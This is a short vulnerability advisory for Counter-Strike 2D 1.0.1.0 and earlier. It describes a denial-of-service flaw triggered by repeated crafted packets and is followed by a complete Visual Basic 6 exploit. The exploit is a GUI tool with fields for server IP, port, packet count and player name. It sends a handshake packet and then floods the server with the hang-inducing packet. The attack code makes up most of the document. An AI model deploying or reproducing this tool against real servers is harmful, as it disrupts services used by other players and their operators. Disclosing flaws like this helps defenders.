Summary
"Counter-Strike 2D is a 2D Clone of the most famous Multiplayer Game ever: Counter-Strike by Valve Software." By sending crafted packets will cause Counter Strike 2D to enter to a DoS condition.

Credit:
The information has been provided by X X.

Details
Vulnerable Systems:
* Counter Strike 2D Windows version 1.0.1.0 and prior

By repeating the same packet more then once, Counter Strike 2D will enter a loop and will stop responding after several sending of the packets .

Exploit:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form frmMain
BorderStyle = 4 'Festes Werkzeugfenster
Caption = "CS2D DoS - tHa_imaX"
ClientHeight = 2160
ClientLeft = 45
ClientTop = 315
ClientWidth = 3195
BeginProperty Font
Name = "Verdana"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Icon = "frmMain.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 2160
ScaleWidth = 3195
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows-Standard
Begin VB.CommandButton cmdAttack
Caption = "[Attack]"
Height = 285
Left = 45
TabIndex = 9
Top = 1545
Width = 3090
End
Begin VB.Frame Frame1
Caption = "Attack Settings"
Height = 1560
Left = 45
TabIndex = 0
Top = -15
Width = 3105
Begin VB.TextBox txtName
Alignment = 2 'Zentriert
Appearance = 0 '2D
Height = 285
Left = 1305
TabIndex = 8
Text = "jack_lalane"
Top = 1230
Width = 1740
End
Begin VB.TextBox txtPC
Alignment = 2 'Zentriert
Appearance = 0 '2D
Height = 270
Left = 1305
TabIndex = 6
Text = "50"
Top = 810
Width = 1740
End
Begin VB.TextBox txtPort
Alignment = 2 'Zentriert
Appearance = 0 '2D
Height = 285
Left = 1305
TabIndex = 4
Text = "36963"
Top = 510
Width = 1740
End
Begin VB.TextBox txtIP
Alignment = 2 'Zentriert
Appearance = 0 '2D
Height = 285
Left = 1305
TabIndex = 2
Text = "127.0.0.1"
Top = 210
Width = 1740
End
Begin VB.Label Label4
Caption = "Player Name:"
Height = 210
Left = 60
TabIndex = 7
Top = 1260
Width = 1185
End
Begin VB.Label Label3
Caption = "Packet Count:"
Height = 210
Left = 60
TabIndex = 5
Top = 840
Width = 1245
End
Begin VB.Label Label2
Caption = "Server Port:"
Height = 210
Left = 60
TabIndex = 3
Top = 525
Width = 1065
End
Begin VB.Label Label1
Caption = "Server IP:"
Height = 210
Left = 60
TabIndex = 1
Top = 240
Width = 960
End
End
Begin MSWinsockLib.Winsock wS
Left = 2865
Top = -45
_ExtentX = 741
_ExtentY = 741
_Version = 393216
Protocol = 1
End
Begin VB.Label lblS
Caption = "DoS Loaded..."
Height = 255
Left = 45
TabIndex = 10
Top = 1905
Width = 3090
End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'***WRITTEN BY tHa_imaX [tHa_imaX@yahoo.de]
'***23.08.2005
'***NEED A JOINT NOW ;)

Dim ConnectionPacket As String ' Declare our Connection String
Dim DoSPacket As String ' Declare our DoS Packet
Dim pC As Integer ' Packet Count
Private Sub cmdAttack_Click()
'First we define the Connect Packet
ConnectionPacket = Chr(Val("&hFA")) & Chr(Val("&hFA")) & _
Chr(Val("&h0D")) & Chr(Val("&h0A")) & _
"<name>" & _
Chr(Val("&hCE")) & Chr(Val("&h7B")) & Chr(Val("&hE2")) & _
Chr(Val("&h45")) & Chr(Val("&h63")) & Chr(Val("&h90")) & _
Chr(Val("&h00")) & Chr(Val("&h00"))

'At twice we define our DoS Packet
DoSPacket = Chr(Val("&hFA")) & Chr(Val("&h04")) & _
"<name>" & _
Chr(Val("&h0D")) & Chr(Val("&h0A")) & Chr(Val("&h02"))

'Now we prepare the packets (insert our playername)
ConnectionPacket = Replace(ConnectionPacket, "<name>", txtName.Text)
DoSPacket = Replace(DoSPacket, "<name>", txtName.Text)

'Set the pC to zero
pC = 0

'Lets send the First Packet to tell the server who we are
wS.RemoteHost = txtIP.Text
wS.RemotePort = Val(txtPort.Text)
wS.SendData ConnectionPacket
End Sub

Private Sub wS_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next ' Ignore Errors

'Count the Packets to Cancel the attack after the packetcount value
pC = pC + 1
If pC >= Val(txtPC.Text) Then
lblS.Caption = "Done."
Exit Sub
End If
lblS = "Total Packets: " & pC

'Dim tmp As String
'wS.GetData tmp
'Debug.Print tmp


'Send the DoSPacket if the Server send something=>loop
wS.SendData DoSPacket

'Handle Errors
If Err <> 0 Then
MsgBox Err.Description
pC = Val(txtPC.Text)
End If
End Sub